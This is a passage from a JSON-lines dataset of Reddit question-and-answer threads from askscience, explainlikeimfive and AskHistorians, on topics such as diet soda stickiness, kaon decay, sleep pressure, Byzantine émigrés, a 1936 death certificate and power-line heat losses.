["http://www.youtube.com/watch?v=L_W-IXqoxHA"], []]}
{"q_id": "1qnlk0", "title": "Why are diet sodas (i.e. Diet Coke/Pepsi) not sticky when spilled on a surface like their non-diet counterparts if both use sweeteners?", "selftext": "When I say \"sweeteners\", I mean anything that makes it sweet.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1qnlk0/why_are_diet_sodas_ie_diet_cokepepsi_not_sticky/", "answers": {"a_id": ["cdels02"], "score": [4], "text": ["Natural sugars (sucrose, glucose, or fructose) in non-diet sodas have a lot of functional groups that form a special type of intermolecular bond (called a [hydrogen bond](_URL_1_)) with water molecules. It is these interactions that creates sticky solutions of water and simple sugars.\n\nDiet sodas taste sweet because [sugar substitutes](_URL_0_) are added instead of the natural sugars mentioned earlier. These solutions are less sticky for two reasons: (a) most of substitutes taste much sweeter than sugar, so much less needs to be added to get to the same level of sweetness, and (b) they often form less hydrogen bonds with water as do sucrose, glucose, or fructose."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Sugar_substitute", "http://en.wikipedia.org/wiki/Hydrogen_bond"]]}
{"q_id": "36314h", "title": "During the decay of hadrons through weak interaction, why isn't strangeness always conserved when other quantities such as charge and lepton number etc. have to be conserved?", "selftext": "A Kaon (strange) for example decays into a pion (not strange), an electron (not strange) and electron anti-neutrino (not strange). \n\nLepton number, charge, baryon number etcetera are all conserved so why isn't strangeness also conserved?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/36314h/during_the_decay_of_hadrons_through_weak/", "answers": {"a_id": ["cra8l7i", "craf3oo", "crajuuh"], "score": [44, 7, 11], "text": ["In short, because the weak interaction does not conserve strangeness, but the strong force does. The strangeness of a ~~hardon~~ hadron is just the sum of its constituent strange quarks minus the anti-strange quarks. The strong interaction can't change one quark into another, all it can do is create or destroy strange/anti-strange pairs. The weak force, on the other hand, can change one type of quark into another via a W boson.\n\nThe concept of strangeness was invented to explain why some particles created in cloud chambers were so long-lived. If they decayed via a strong interaction you would expect them to live only a short time, similar to the lifetime of other particles that decay via the strong force. Since the weak force is weaker, it takes longer for particles to decay weakly. Thus, if there was some conservation law that the strong force obeyed but the weak force didn't, it would explain why these weird particles lived longer than expected (since they wouldn't be able to decay strongly without violating the conservation law). None of the details of quarks or the weak force were understood at the time that this concept was invented, so it was created as a heuristic way to explain what might be happening.", "\"Strangeness\" is another word for a kind of \"flavor\" of quark. Along with strangeness, there are other ones like charm, bottomness, topness. The weak interactions are the only ones where the flavor of a quark can be changed. ", "Your question has been thoroughly answered by /u/Sirkkus. \n\nJust a quick note though: lepton number is not really conserved in the Standard Model! The only numbers that are perfectly conserved are the quantum numbers associated to real symmetries (gauge or space-time symmetries).\n\nLepton number is actually broken by non-perturbative effects, even though all Feynman diagrams conserve this number. This is not a relevant effect in any aspect of collider physics, but it's relevant to baryogenesis if I remember correctly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6cd9dz", "title": "how does inheritance work when a soldier is missing in action, but not conclusively dead?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6cd9dz/eli5_how_does_inheritance_work_when_a_soldier_is/", "answers": {"a_id": ["dhtriqd", "dhtrqj9"], "score": [2, 11], "text": ["After a certain time they are declared dead and inheritance follows the same laws and procedures it does for any other dead person.", "You don't have to be proven conclusively to have died. The Secretary of the branch of the military can declare an MIA presumed dead. (IE Secretary of the Army for soldiers). Once the MIA person is presumed dead, normal inheritance and survivors benefits kick in.\n\nMissing in Action is a category of Missing, which is a type of casualty.  A person declared missing is categorized as beleaguered, besieged, captured, detained, interned, Missing, or Missing in Action.\n\nA number of benefits and entitlements are available to dependents of servicemembers who are declared MIA after being MIA for a certain time period, usually 90 days."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1kxcw9", "title": "Would the bottom of the English Channel just be littered with sunken ships, crashed planes, and other military artifacts?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1kxcw9/would_the_bottom_of_the_english_channel_just_be/", "answers": {"a_id": ["cbtq9dj", "cbtsjpt"], "score": [31, 19], "text": ["The number of vessels/aircraft/etc preserved to the extent they would be recognizable, would probably be negligible for anything before the late 19th century.\n\nThe channel mostly consists of Epipelagic to Mesopelagic zones (IE down to 200m or so, so animal life is abundant (unlike in the very deep ocean, where preservation is better, due to much slower decay from a general lack of abundance of marine life). Wooden ships are particularly prone to this type of decay, and this is the reason preserved wrecks are so rare, in general, the ones that are preserved are due to a mix of temperature, depth, and whether or not it was \"lucky\" enough to have sunk into a layer of sand/mud, which would aid in preserving it. so, there may be a few wrecks here and there that were preserved under the surface of the ocean floor, but they would be difficult to detect and find (i believe its tough for sonar to locate anything sub-ocean floor, and magnetometers would only pick up concentrations of iron, not primarily wood).\n\nMetal wrecks are much more abundant, and there have been plenty of discoveries in the channel, including relatively recent discoveries of Sherman DD (duplex drive) wading tanks of omaha/utah beaches in Normandy:\n\n_URL_0_\n\n", "For your interest, take a look at [_URL_1_](http://www._URL_1_/wrecksite.aspx) which maps, well, wrecks using a variety of agencies maps and databases. [Here is what the English Channel looks like](_URL_0_). As you can see, it has thousands of wrecks in it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=LQPzmB7fBaI"], ["http://i.imgur.com/23WgO5H.jpg", "wrecksite.eu", "http://www.wrecksite.eu/wrecksite.aspx"]]}
{"q_id": "fy1zxp", "title": "when someone is \"fighting sleep\" to stay awake, what exactly are they fighting?", "selftext": "I know there's chemicals involved  &  stages of sleep, but is there a specific thing that's making them overwhelmingly sleepy?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fy1zxp/eli5_when_someone_is_fighting_sleep_to_stay_awake/", "answers": {"a_id": ["fmyv38m", "fmyvmu2", "fmywfyg", "fmz79ml", "fmzc8fi", "fmzd392", "fmzitak", "fn08k2o", "fn0lx41", "fmxuv7v"], "score": [250, 47, 60, 2, 7, 2, 2, 2, 2, 5247], "text": ["It's worth noting that your brain has what is essentially two separate systems in it, each of which is basically always trying to do its task, one to keep you awake and one to make you fall asleep, with their actions being mediated by various chemicals in your brain. The longer one of them is dominant, the stronger the pressure from the other one becomes, resulting in you eventually falling asleep or waking up. So, when you're fighting to stay awake, you're basically stimulating the part of your brain that keeps you awake and trying to resist the one that makes you fall asleep. These systems are always doing this and are kept in balance by chemical signals.", "(I know this isnt what you're really asking, but) \nThe awful feeling of losing consciousness.  Sometimes I feel it slipping away and it snaps me awake for hours. It feels like drowning or death coming. Not pleasant. Most times I never notice it, but when I see it coming, the feeling of dread is awful.", "This post really hits home for me. I hate going to sleep and no matter how tired I am , I just ignore it. Lol it may sound stupid and unhealthy but what if I miss something ?", "From 30 years of shift work... your body is telling you that it wants to shut down for sleep. You can fool it for extended periods for say an extra 4 hours after a 12 hr. shift or more but you have to go down at some point for at least 2-3 hours. Healthcare worker here.\nAlso, yes, there is an internal clock that will kick in so to speak in your body. After so many years of conditioning there will still be a time during your shift that says, starting to fade now. Most people it seems get this really tired feeling around 3 or 4 A.M if on a nightshift. Same with days if your workload allows it ( never does). Good to choose a short break to carb up/ snack and get fresh air at this time. Not a dart and coffee like I do lol!", "I know why I'm fighting. To keep living.\n\nWhen my eyes shut my reality is gone. The person I wake up tomorrow is a different person with different thoughts, feelings, and motivations.\n\nWhen I sleep my current stream of consciousness ends and a new reality begins with my alarm tomorrow. A new person will wake up in my body with my memories and run through it all. And probably screw it all up.", "The worst part is when your eyes start darting in every direction just to fight off the temptation of closing your eyelids because you're at work in a dull meeting at 7 am ughhhhh", "I thought people could stay awake for 10 days before they died.  Don't know where I heard that.", "All the comments here are really great but honestly man if you have a high level of interest in just knowing how your body functions before, during, and after sleep check out a copy, heck a used copy of \u201cWhy We Sleep\u201d. It\u2019s an excellent book that really explains it like your 5. Just know there are still big technical words for each chemical dealing with sleep.", "The chemistry answers you've received, while technically correct, don't seem to answer your actual question. \"What is it that you're 'fighting back' when you're fighting sleep?\"\n\nI'm not an expert, but my dad actually is, and my understanding is that part of the brain (I forget which part) signals \"sleep\" by generating alpha waves, or a sort of rhythmic sin wave. If these waves are allowed to propagate through the entire brain, like ripples on a still pond, the brain enters stage one sleep. If these waves are disrupted by the much more chaotic waves of the active brain the waves are drowned out by the noise. \n\nSo when you 'fight back sleep' essentially what you're doing it trying to disrupt those nice rhythmic alpha waves by making some waves of your own either using external stimulus or by chattering away with your prefrontal cortex.", "#### ELI5 answer\n\nYou get sleepy for two reasons. \n\nYour body senses light and knows when it's day time and when it's night time. Based on the time of the day, it sets the time to an internal clock. When this internal clock tells your body its close to night time, it makes chemicals that make you sleepy.\n\nAnother reason you feel sleepy is that when your body uses energy, it makes chemical called adenosine. When you stay up for a long time, there is more and more adenosine in your body and it makes you feel sleepy. When you sleep, your body destroys this chemical from your body and that is why sleeping helps when you feel sleepy.\n\n#### More technical answer\n\nThe level of a one's sleepiness depends on the time of day in relation to the their internal clock and sleep pressure.\n\nThe internal clock controls our physiological circadian rhythm in many ways. For example, it controls how much melatonin and orexin are released into our bodies. Melatonin is a chemical that helps us fall asleep and orexin is a chemical that helps us wake up.\n\nThe circadian rhythm is naturally synchronized, based on the amount of ambient light, in such a way that the middle point of sleep takes place at around 4 am. Although the rhythm can adapt to changes when we travel to different time zones, it can only adapt about 15 minutes per day which is why we experience jet lag.\n\nEven more than the circadian rhythm, sleepiness is based on the so called sleep pressure. As soon as you wake up, your body starts producing a chemical called adenosine. As long as you stay awake, your body keeps producing more adenosine and it slowly builds up in your body. The more adenosine you have in your body, the sleepier you feel. \n\nThe effect of caffeine is based on removing or dampening the effect of adenosine. Caffeine prevents adenosine receptors in our body from detecting adenosine and thus alleviates sleep pressure. However, caffeine does not remove adenosine from our body which leads to a strong sleep pressure once caffeine is no longer affecting us.\n\n#### Source\n\nWalker, Matthew P. Why we sleep. New York: Scribner, 2017. [Why We Sleep - Wikipedia](_URL_2_). \n\n*Walker is the professor of neuroscience and psychology and a sleep researcher in the university of Berkeley in California, USA.*\n\n#### Learn more about sleep\n\n[Sleep is your superpower - Matt Walker](_URL_0_) (TED talk, 20min)\n\n[Matthew Walker on the Joe Rogan Experience](_URL_1_) (Podcast, 2h)\n\nEdit: Typo and formatting.\n\nEdit 2: Added more ELI5 type explanation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], ["https://youtu.be/5MuIMqhT8DM", "https://youtu.be/pwaWilO_Pig", "https://en.wikipedia.org/wiki/Why_We_Sleep"]]}
{"q_id": "450bog", "title": "Did any former Byzantines end up in America?", "selftext": "So Constantinople fell in the 1450's, America was founded in the 1490's, and colonization began soon after. Although it wasn't exactly massive continent-wide settlements, Europeans did begin popping up in America, many fleeing persecution in Europe.\n\nDid any Byzantines wind up there? They'd be quite old, but not within impossibility, and many claimed to still be Byzantines even after the fall of the Empire.\n\nSo did any 'Romans' end up in America?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/450bog/did_any_former_byzantines_end_up_in_america/", "answers": {"a_id": ["czudj2z", "czuo7zt", "czuonhs"], "score": [11, 64, 11], "text": ["Related question, would they have considered themselves \"Roman\", \"Greek\" or \"Byzantine\"?", "At least one did!\n\nThe story of Ferdinand Palaeologus is an interesting one. His father, Theodore Palaeologus, arrived in England from Genoan-controlled Chios via Italy in 1596 claiming, according to his burial plaque, to be a [great grandson of the younger brother of the last Byzantine emperor](_URL_1_) and the heir to the Roman Empire. Theodore was entertained in the court of the Earl of Lincoln before he obtained some property, married, and established a new family in England.\n\nFerdinand Palaeologus and his two brothers fought for the Royalists during the first part of the English Civil War. After the Royalists were defeated at the battle of Naseby in 1645, Ferdinand fled to Barbados and acquired a 200 acre plantation. There he lived for more than 30 years and also served as warden and vestryman of St. James Parish Church where [he was buried in 1678](_URL_0_).\n\nWhile the exact familial relationship between Theodore Palaeologus and the last emperor is the subject of some debate* there doesn't seem to be any reason to doubt Theodore's eastern Roman ancestry. Many Byzantine nobles fled to western Europe during and after the empire's collapse in the 15th century, and Theodore apparently possessed enough money and knowledge to not be outed as a fraud during his 40 years of living in England. \n\n\n*I haven't found any information on \"John, son of Thomas, second brother to Constantine,\" mentioned on Theodore's tombstone. This may indicate that Theodore was not completely truthful in describing how closely he was related to the emperor, but according to [a sparsely sourced blog post](_URL_2_) Theodore was the head of his branch of the family, and other members of it supposedly arrived in England preceding and following him which would make the idea that he was an outright impostor seem unlikely. ", "Oh yes in fact.\n\nThe current holder of the (defunct) title [Emperor of Rome](_URL_0_), [Bayezid Osman](_URL_3_), lives in New York City right now.  He's 91 and doesn't have any kids, but I'm sure there's enough of his family around to pass the title hereditarily to someone else.\n\nAnd for those who're not in on the joke (which I don't actually regard as such), the Ottoman Sultans, after conquering the Byzantine Empire, retained the title \"Emperor of Rome\" as amongst their titles because of their blood ancestry to Alexios Komnenos through his grandson [John Tzelepes Komnenos](_URL_1_), and of course the right of conquest by holding onto the city of Constantinople.\n\n[Mehmed II took his title quite seriously](_URL_2_), and was planning to launch an invasion of the city of Rome itself."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://i.imgur.com/T2JSLhH.jpg", "http://www.bristolgreeks.co.uk/images/stories/history/paleologus_theodore.jpg", "http://www.bristolgreeks.co.uk/index.php/heritage/categories/history/item/70-the-byzantines-of-cornwall-paleologoi"], ["https://en.wikipedia.org/wiki/Ottoman_dynasty#Titles", "https://en.wikipedia.org/wiki/John_Tzelepes_Komnenos", "https://en.wikipedia.org/wiki/Mehmed_the_Conqueror#Expedition_to_Italy_.281480.29", "https://en.wikipedia.org/wiki/Bayezid_Osman"]]}
{"q_id": "3cbpdo", "title": "what does the phrase \"head over heels\" even mean?", "selftext": "I know what we use it for, but what is the logic behind it? If you think about it, our heads are already over our heels when we're standing. \n\nBonus: How did this phrase become popular? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3cbpdo/eli5_what_does_the_phrase_head_over_heels_even/", "answers": {"a_id": ["csu10og"], "score": [8], "text": ["It is an expression used to denote that a person is overly affected by a circumstance or situation, typically regarding the emotion \"love\".  It has been reported to have come about in the 13th/14th century, but was \"heels over head\" denoting how upside down or out of kilter the emotion of love makes one feel.  Today we say head over heels (which, if you think about it, doesn't make much sense as that's our normal disposition anyway - head above and heels below) but it would be more accurate to describe that out of control feeling of falling in love as heels over head.  \n\nThe use of the term in describing someone falling down evolved from the \"falling\" bit of falling heels over head in love, and also means being out of control of the circumstance of falling down.\n\nAccording to literary researchers, Herbert Lawrence's Contemplative Man, 1771 is the first known citation of 'head over heels':  \"He gave [him] such a violent involuntary kick in the Face, as drove him Head over Heels.\"\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ger5p", "title": "Can morning after pills trigger an abortion?", "selftext": "I was watching a post apocalyptic movie and one of the characters gets pregnant and attempts an abortion by swallowing 5 or 6 morning after pills that they found at an abandoned pharmacy (The only thing available). Would this actually work? Why or why not?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2ger5p/can_morning_after_pills_trigger_an_abortion/", "answers": {"a_id": ["ckig4vc", "ckijzo0"], "score": [7, 4], "text": ["Mostly no, evidence indicates that hormonal emergency contraception will not terminate an established pregnancy. However, some hormone modulating drugs (eg Ulipristal) may increase risk of fetal loss in the first trimester\n\n_URL_0_", "The pills referred to as the \"Morning After Pill\" (Plan B, etc), appear to work by delaying or preventing the release of eggs from the ovaries^1 , and also by thickening of cervical mucus making it difficult for sperm to travel to an egg^2 . There does not appear to be definitive evidence suggesting that any hormone-based (i.e. Plan B) morning after pill will lead to the miscarriage of a fertilized egg after it has taken hold in the uterus^3 .\nThe exception to this would be another medication called Mifepristone (RU-486). It can be used both as emergency contraception as well as to terminate an ongoing pregnancy, leading to a miscarriage^4 . It is not available at pharmacies in USA^5 so it technically wouldn't have been available to the characters in the movie, assuming the movie is set in the USA.\n\nSources:\n1. Ling WY, Wrixon W, Zayid I, Acorn T, Popat R, Wilson E. Mode of action of dl-norgestrel and ethinylestradiol combination in postcoital contraception. II. Effect of postovulatory administration on ovarian function and endometrium. Fertil Steril 1983;39:292-297\n2. P Lammers, PD Blumenthal, GR. Huggins. Developments in contraception: a comprehensive review of desogen\n(desogestrel and ethinyl estradiol) Contraception, 57 (Suppl) (1998), pp. 1\u201327\n3. Swahn M-L, Westlund P, Johannisson E, Bygdeman M. Effect of post-coital contraceptive methods on the endometrium and the menstrual cycle. Acta Obstet Gynecol Scand 1996;75:738-744.\n4. Couzinet B, Le Strat N, Silvestre L, Schaison G. Late luteal administration of the antiprogesterone RU486 in normal women: effects on the menstrual cycle events and fertility control in a long-term study. Fertil Steril 1990;54:1039-1044 \n5. _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://pediatrics.aappublications.org/content/130/6/1174.full#sec-7"], ["www.fda.gov/Drugs/DrugSafety/PostmarketDrugSafetyInformationforPatientsandProviders/ucm111328.htm"]]}
{"q_id": "361s2j", "title": "the difference between herbs and spices", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/361s2j/eli5_the_difference_between_herbs_and_spices/", "answers": {"a_id": ["cr9w1qo"], "score": [62], "text": ["Herbs are always from the leaf of the plant, spices from everywhere else, IE, the root, stem or seeds."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1glm7h", "title": "Can anyone decipher this 1936 handwriting on this cause of death part of my great-great-grandfather's death certificate?", "selftext": "_URL_0_", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1glm7h/can_anyone_decipher_this_1936_handwriting_on_this/", "answers": {"a_id": ["calerzz", "calezy9", "calf1sl", "calgc4f", "calh1mv", "calh59q", "calhdlm", "calho7x", "caljovs", "calmkg6", "calo8yo", "calwqgj"], "score": [3, 14, 6, 12, 3, 3, 2, 3, 2, 3, 2, 2], "text": ["The first few words look like \"I obtained no history...\", but it's utterly illegible to me after that. This is a tough one. ", "Ok, after slicing it apart, my best guess is:\n\n > \"I obtained up to thirty (oz)? of long enostosis* yielding galones of fibers\"\n\n*The word here is very hard to make out, but the ending is almost certainly 'tosis', which in a medical context means unusual swelling or growth. In the context, this is probably some form of cancer. My best guess for the handwriting is enostosis, which is a kind of uncontrolled bone growth within tissue or a bone cavity. That would explain the 'fibers'. \n\nAgain, it's very hard to make out, but it sounds like your great-great-grandfather died of some variety of bone cancer.", "You should try /r/Handwriting, they're good at this.", "[\"I obtained no history of\"] (_URL_0_) is apparently turn-of-the-century \"medicalese\" for \"I observed no.\"  So the first part says (I think): \"I obtained no history. [Paracentesis] (_URL_1_) yielded 5 gallons of fluid.\"  (Though 5 gallons seems an awful lot.)\n\nEDIT: I think there is nothing between \"history\" and \"Paracentesis.\"  I'm wondering if this means the doctor didn't give him a complete examination but only drained the fluid from his peritoneal cavity.", "Could what we think says \"5 galons [sic] of fluid\" instead say \"5 q[uarts] [something] of fluid\"?  5 gallons seems way too much fluid, whereas 5 quarts, though still a lot,  seems more realistic.  I say this because the supposed \"g\" in gallons is separated from the next letters and this doc doesn't always separate his lower-case letters elsewhere.", "I think its actually '3 gallons of fluid', I've horrific handwriting and my 5s tend to look like 3s a times! 3 gallons sounds more likely.\n\"I obtained no history ... tosis...3 gallons of fluid\".  Could be that he died of an intestinal disease, possibly caused by bacteria which can cause severe diarrhoea and also excessive thirst (ie the more you drink the more defecate and the more dehydrated you get - vicious cycle).  If you look up these symptoms and identify a disease you might be able to identify a word that way by working backwards.  Good luck! :)", "\"I obtained no history - engcentisis(?) yielded 5 galones of fluid\" Is what I think. You can tell his n is fairly regular, that's definitely a \"no\" in the first line. (you can also tell from his \"none\" in the name of operation. I suspect this was an autopsy done post mortem.  A doctor might be able to tell us what they do with bodies to yield fluid?\n\nEdit: I think /u/Whoosier is correct [here:] (_URL_0_) - that's Paracentesis. Apparently they used that to diagnose Abdominal TB.", "Looks like \"I obtained no history and long (cerrtesis: maybe some outdated term) ..... yielded 3 galones of fluid.\n\nEdit:  Also, Name of Operation: None.  I figured that one out because next to it is what looks like a '40' but it is a yes or no questions meaning his 'n's look like 4's.", "You guys are all awesome. I was half-expected to be told that I had chosen the wrong sub-reddit. He died at 64. While I still don't know exactly what it says, I have a much better idea than i did a few hours ago!", "The second part (contributory causes) looks like 'anorexia gravitor(e?)', which would roughly translate to 'severe anorexia' in Latin. The term is not used anymore, but it possibly was back then. I'm pretty sure the first part reads, as /u/Whoosier suggested, 'I obtained no history. A paracentesis yielded 5 galons of fluid'. \nIt makes perfect sense from a medical point of view, at least. I know 5 gallons seems like an awful lot, but I've seen people with 3-gallon abdominal fluid collections, so it's definitely not impossible. ", "Keep in mind throughout that his writing extends above and below the lines, crossing over other letters and making them indistinguishable. And his \"n\"s are really bad - his \"none\" looks like \"uave\" and \"no\" looks like \"40\" at the bottom. But I feel completely confident in this\n\n    I obtained no histo\n    ry - Paracentesis\n    yielded 5 galons of\n    fluid\n\nThen below:\n\n    anorex-\n    ia, Inanation", "Based on other answers, I have a feeling there are other docs in this thread,  but I asked a physician friend what he made of the death certificate based on the paracentesis.  He wrote back: \"Liver failure most likely from alcohol or hepatitis.  Kidney failure could result from streptococcal infections etc.\"  He said the amount of water (roughly 35 pounds worth for 5 gallons) \"is indeed a lot but we see it.\"  He forgot about the anorexia and inanition.  So docs out there--did the fluid build up in his abdominal cavity prevent him from eating/digesting food and so he was starving to death on top of organ failure?"]}, "title_urls": [], "selftext_urls": ["http://imgur.com/LE0KcgB"], "answers_urls": [[], [], [], ["http://books.google.com/books?id=pPEgAQAAMAAJ&amp;pg=PA333&amp;dq=%22i+obtained+no+history+of%22&amp;hl=en&amp;sa=X&amp;ei=OsjAUY7MG4TsyQGBpIDIAQ&amp;ved=0CC8Q6AEwAA#v=onepage&amp;q=%22i%20obtained%20no%20history%20of%22&amp;f=false", "http://en.wikipedia.org/wiki/Paracentesis"], [], [], ["http://www.reddit.com/r/AskHistorians/comments/1glm7h/can_anyone_decipher_this_1936_handwriting_on_this/calgc4f"], [], [], [], [], []]}
{"q_id": "cusjsd", "title": "-5000 x -5000 equals 25,000,000. how can two numbers so deeply negative be manipulated to give such a high positive value?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cusjsd/eli5_5000_x_5000_equals_25000000_how_can_two/", "answers": {"a_id": ["exy8n0p", "exy9l5l", "exya3s8", "exz6bxm"], "score": [10, 3, 13, 3], "text": ["The number line has zero at the centre, and to the right are rational numbers 1, 2, 3... to infinity. To the left are -1, -2, -3... to minus infinity.\n\nThe function of multiplying anything by -1 is to flip its position on the number line. So `(-1)x4=-4` or `12.5x(-1)=-12.5`. \n\nWhat happens to a negative number when you multiply it by -1? It flips to the right of the number line and becomes positive. So `(-30)x(-1)=30`.\n\nWhen you multiply something by a negative number that's not minus 1, the result scales in magnitude as well, just like a regular multiplication you're used to", "It's counter-intuitive, at first. See it as an addition: The sum of two negative numbers is negative, so when you add a negative number a positive amount of times, you get a negative value. But what you're doing here, is adding a negative number a negative amout of time, the result is the negative of a negative. So if you have a very deep value, you'll get the negative of a very deep value, hence a high positive value.", "The easiest way to explain this is to look at negative numbers as being the opposite of the positive number.\n\nSo what you're doing here is the oppposite of adding -5,000 5,000 times.", "If I owe 5000 people $5000 each and they all forgive the debt, my net wealth increase by the same amount as if 5000 people give me $5000 each."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "lw2pz", "title": "Is it possible to replace human limbs with robotic ones?", "selftext": "I've been playing Deus Ex Human Revolution and I was curious as to whether it would be possible. I figure a super strong robotic arm or leg would come in handy someday.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lw2pz/is_it_possible_to_replace_human_limbs_with/", "answers": {"a_id": ["c2w1yzq", "c2w1yzq"], "score": [3, 3], "text": ["[_URL_0_](_URL_0_)\n\nWe are already marching towards this technology with the production of robotic prosthetics.\n\nIn principle it is definitely possible to replace human limbs with robotic ones. In practice, there are two engineering hurdles to be overcome. The first is the communication interface: decoding motor commands and encoding sensory information in a fashion mutually intelligible to both machine and brain. We've penetrated with extremely mild success into both of these communication challenges. The second hurdle is more straightforward: the mechanical engineering of the limb. We're much closer to mechanically approximating a human limb than we are to interfacing it with the brain.", "[_URL_0_](_URL_0_)\n\nWe are already marching towards this technology with the production of robotic prosthetics.\n\nIn principle it is definitely possible to replace human limbs with robotic ones. In practice, there are two engineering hurdles to be overcome. The first is the communication interface: decoding motor commands and encoding sensory information in a fashion mutually intelligible to both machine and brain. We've penetrated with extremely mild success into both of these communication challenges. The second hurdle is more straightforward: the mechanical engineering of the limb. We're much closer to mechanically approximating a human limb than we are to interfacing it with the brain."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Prosthesis#Robotic_limbs"], ["http://en.wikipedia.org/wiki/Prosthesis#Robotic_limbs"]]}
{"q_id": "ceu1ou", "title": "If the Native Americans (in North America) would've been able to establish their independence, or the United States/Canada/Britain failed to defeat them and seize their land, would they have stayed tribal or formed something akin to the today's concept of a nation-state?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ceu1ou/if_the_native_americans_in_north_america_wouldve/", "answers": {"a_id": ["eu4wnca"], "score": [2], "text": ["Sorry, but your submission has been removed because we [don't allow hypothetical questions](_URL_0_). If possible, please feel free to rephrase the question so that it does not call for such speculation, and resubmit. Otherwise, this sort of thing is better suited for /r/HistoryWhatIf. You can find a more in-depth discussion of this rule [here](_URL_1_).\n\nSomething to keep in mind is, of course, that Native American groups still exist and self-govern. A way to ask this that would shift the discussion in the way of Indigenous understandings of governance would be to ask about pre-existing Native government structures, such as the one you referenced. Thanks!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_is_this_the_right_place_for_your_question.3F", "https://www.reddit.com/r/AskHistorians/comments/4mtauf/rules_roundtable_no_12_dont_play_the_whatif_game/"]]}
{"q_id": "3oe7tu", "title": "What's in urine?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3oe7tu/whats_in_urine/", "answers": {"a_id": ["cvwfaxq", "cvwfl1n"], "score": [2, 2], "text": ["From the Wiki, \n\n >  \"About 91-96% of urine consists of water.[3] Urine also contains an assortment of inorganic salts and organic compounds, including proteins, hormones, and a wide range of metabolites, varying by what is introduced into the body.\"\n >  \n >  The total solids in urine are on average 59 g per person per day. Organic matter makes up between 65% and 85% of urine dry solids, with volatile solids comprising 75\u201385% of total solids. Urea is the largest constituent of the solids, constituting more than 50% of the total. On an elemental level, human urine contains 6.87 g/L carbon, 8.12 g/L nitrogen, 8.25 g/L oxygen, and 1.51 g/L hydrogen. The exact proportions vary with individuals and with factors such as diet and health.\"\n\nMore data in the [urinalysis Wiki](_URL_0_).\n\nEdit: formatting", "The elemental composition of a chemical doesn't really tell you much about how it interacts. The cyanide ion, for example, is CN^(-): the body needs carbon and nitrogen but it does *not* need cyanide.\n\nUrine contains waste products which have an elemental composition similar to useful compounds, but they are arranged in a way which makes the compound undesireable (in excess, at least). It is of course true that, in theory, said compounds could be repurposed into something useful, but it takes an infeasible amount of energy to carry out those reactions. You get less out than you put in, so it makes more sense to just dump it and eat something instead."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Urinalysis"], []]}
{"q_id": "14ed1i", "title": "How much heat is given off by wires and powerlines?", "selftext": "One side effect of electrical resistance is heat, known as Joule heating or resistance heating. This is pretty obvious on an electric stove top, where the heating element is actually an electrical conductor with enough current and resistance to create a lot of heat.\n\nBut every conductor has at least some resistance (except superconductors), so even a wire must give off a tiny little bit of heat, right? So how many joules are given off as heat might by all the Romex in my walls? How about from the big powerlines between my house and the power plant? There must be hundreds of thousands of miles of powerline in the world; how much heat might be given off by the entire world's electrical systems?\n\nI know that coaxial cables for television don't actually carry a current, but are they susceptible to resistance heating? How about telephone lines?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14ed1i/how_much_heat_is_given_off_by_wires_and_powerlines/", "answers": {"a_id": ["c7cf8kp"], "score": [2], "text": [" >  So how many joules are given off as heat might by all the Romex in my walls?\n\nIf you assume all the wiring in your house is 12-2, and that your house has 4,000 feet of wire, then you have 8,000 total feet of wire (4,000 to outlets and 4,000 back to the main).  For this length of wire, you'd see something like 6 Ohms resistance.\n\nNow, we need an estimate of the current running through these wires.  I'll assume that the house uses 1,000 kWh per month, so that's an average of 1.4 kW use through the month.  For 240 V split phase, this results in an average current of about 5.8 amps, so the resistive losses are going to be in the ballpark of 200 W.  (Because P = I^2 * R).\n\nThat figure doesn't include further losses from power cords plugged into each outlet.\n\n >  How about from the big powerlines between my house and the power plant?\n\nThe actual power loss between a plant and your house will depend on the voltage of the transmission lines and the gauge of wire (and also material, but it's almost always aluminum), as well as the distance the power must travel to get to your house.\n\nThis has been studied extensively by power companies (since estimating losses is a big part of determining how to save money).  In the U.S., transmission and distribution losses were about 6.5% in 2007.  For the whole U.S., this results in about 30 GW power loss.  This figure represents 6.5% loss of 4,000 TWh, the Wikipedia figure for U.S. electricity usage in 2010.  (Or 4.15 x 10^12 kWh total U.S. electrical energy consumption in 2010.)\n\n >  There must be hundreds of thousands of miles of powerline in the world; how much heat might be given off by the entire world's electrical 